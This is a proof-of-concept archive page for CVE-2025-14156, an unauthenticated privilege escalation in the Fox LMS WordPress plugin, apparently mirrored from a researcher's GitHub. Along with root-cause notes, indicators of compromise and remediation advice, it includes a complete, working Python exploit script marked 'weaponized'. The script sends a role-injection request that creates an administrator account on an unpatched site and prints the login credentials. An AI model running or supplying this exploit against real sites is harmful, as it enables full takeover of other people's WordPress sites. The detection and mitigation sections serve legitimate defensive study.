PoC Archive PoC Archive
Critical CVE-2025-14156 unpatched

Fox LMS `createOrder` Unauthenticated Privilege Escalation to Administrator (CVE-2025-14156)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-14156
Category
web
Affected product
Fox LMS (WordPress LMS plugin)
Affected versions
1.0.4.7 through 1.0.5.1
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2025-14156
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagswordpress, fox-lms, rest-api, privilege-escalation, role-injection, unauthenticated, python, cwe-269
RelatedN/A

Affected Target

FieldValue
Software / SystemFox LMS (WordPress LMS plugin)
Versions Affected1.0.4.7 through 1.0.5.1
Language / PlatformPython 3 exploit targeting a WordPress REST API endpoint
Authentication RequiredNo
Network Access RequiredYes

Summary

Fox LMS exposes a REST API endpoint, /wp-json/fox-lms/v1/payments/create-order, intended to register a new user as part of a course-purchase flow. The endpoint accepts a role field in the JSON body but does not validate or restrict it to safe values (e.g. subscriber/customer) — it passes the attacker-supplied role straight through to WordPress’s user-creation logic. An unauthenticated attacker can simply set "role": "administrator" in the request body to create a brand-new WordPress administrator account, receiving a valid session cookie in the response.


Vulnerability Details

Root Cause

The plugin’s create-order REST handler trusts a client-supplied role parameter when creating the account. The PoC demonstrates the exact payload shape that triggers it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
payload = {
    "first_name": "Attacker",
    "last_name": "User",
    "username": "nxploited",
    "email": "nx@nxploit.site",
    "password": "Nxploited@2025Strong",
    "role": "administrator",
    "courseId": 1
}
response = requests.post(f"{target_url}/wp-json/fox-lms/v1/payments/create-order",
                          headers=headers, data=json.dumps(payload))

Because the endpoint neither ignores nor whitelists the role field before calling wp_insert_user() (or equivalent), any value — including administrator — is accepted verbatim.

Attack Vector

  1. Attacker sends an unauthenticated POST /wp-json/fox-lms/v1/payments/create-order request with a JSON body containing arbitrary username/password/email and "role": "administrator".
  2. The endpoint creates the account with the requested role and, on success, returns session cookies (wordpress_logged_in_*) in the response.
  3. Attacker now holds full administrator credentials and an active authenticated session for the target WordPress site.

Impact

Unauthenticated creation of a fully privileged administrator account, resulting in complete WordPress site compromise.


Environment / Lab Setup

Target: WordPress install with Fox LMS plugin 1.0.4.7-1.0.5.1 active,
        REST API enabled (default)
Attacker: Python 3, `pip install requests`

Proof of Concept

PoC Script

See CVE-2025-14156.py in this folder.

1
python CVE-2025-14156.py -u https://TARGET

Detection & Indicators of Compromise

POST /wp-json/fox-lms/v1/payments/create-order HTTP/1.1
Content-Type: application/json

{"username":"...","email":"...","password":"...","role":"administrator","courseId":1}

Signs of compromise:

  • New WordPress administrator users created via the fox-lms/v1/payments/create-order REST endpoint rather than /wp-admin/user-new.php
  • REST API requests to create-order containing a role field with a value other than subscriber/customer
  • Unexplained admin accounts with generic/attacker-style usernames (e.g. nxploited) appearing in the WordPress users list

Remediation

ActionDetail
Primary fixUpdate Fox LMS beyond 1.0.5.1 to a version that ignores or strictly validates the role parameter on create-order (hardcode subscriber/customer server-side)
Interim mitigationBlock or rate-limit unauthenticated access to /wp-json/fox-lms/v1/payments/create-order; audit existing users for unexpected administrator accounts; add a WAF rule rejecting "role":"administrator" in requests to this endpoint

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-14156 on 2026-07-06. Templated Nxploited branding/disclaimer, but the exploit logic (direct role-injection POST to the createOrder REST endpoint) is functional and specific to this CVE.

CVE-2025-14156.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#By: Nxploited
#Github: https://github.com/Nxploited
#Telegram: https://t.me/KNxploited

import sys
import argparse
import json
import requests

def encode_utf8(data):
    if isinstance(data, dict):
        return {str(k): encode_utf8(v) for k, v in data.items()}
    elif isinstance(data, list):
        return [encode_utf8(i) for i in data]
    elif isinstance(data, str):
        return data.encode('utf-8', errors='replace').decode('utf-8')
    else:
        return data

def send_exploit(target_url):
    endpoint = f"{target_url}/wp-json/fox-lms/v1/payments/create-order"
    payload = {
        "first_name": "Attacker",
        "last_name": "User",
        "username": "nxploited",
        "email": "nx@nxploit.site",
        "password": "Nxploited@2025Strong",
        "role": "administrator",
        "courseId": 1
    }
    payload = encode_utf8(payload)
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Nxploit-CCL-Bypass",
        "X-Requested-With": "XMLHttpRequest",
        "X-Forwarded-For": "127.0.0.1",
        "X-Originating-IP": "127.0.0.1",
        "X-Remote-IP": "127.0.0.1",
        "X-Remote-Addr": "127.0.0.1",
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "Accept-Language": "en-US,en;q=0.9"
    }
    try:
        response = requests.post(endpoint, headers=headers, data=json.dumps(payload), verify=False, timeout=20, allow_redirects=False)
    except requests.exceptions.RequestException as e:
        print(f"[!] Request failed: {str(e)}")
        return False

    cookies = response.cookies.get_dict()
    if cookies:
        print("[+] Exploit Successful!")
        print(f"Username: {payload['username']}")
        print(f"Password: {payload['password']}")
        return True

    if response.status_code != 200:
        print(f"[!] Exploit failed. HTTP status: {response.status_code}")
        return False

    try:
        res_json = response.json()
    except Exception:
        res_json = None

    if 200 <= response.status_code < 300 and res_json is not None:
        if any(keyword in response.text for keyword in ["administrator", "success", "user", "wordpress_logged_in"]):
            print("[+] Exploit Successful!")
            print(f"Username: {payload['username']}")
            print(f"Password: {payload['password']}")
            return True
        else:
            print("[!] Exploit response received, but did not indicate success.")
    else:
        print("[!] Did not receive expected HTTP response.")
    return False

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-14156 Exploit By: Nxploited | Telegram: @Nxploited | Github: Nxploited"
    )
    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g. https://victim.site)')
    args = parser.parse_args()

    print("[*] Starting CVE-2025-14156 Exploit ...")
    if not args.url.startswith("http"):
        print("[!] Please provide a valid URL starting with http or https.")
        sys.exit(1)
    send_exploit(args.url)

if __name__ == "__main__":
    main()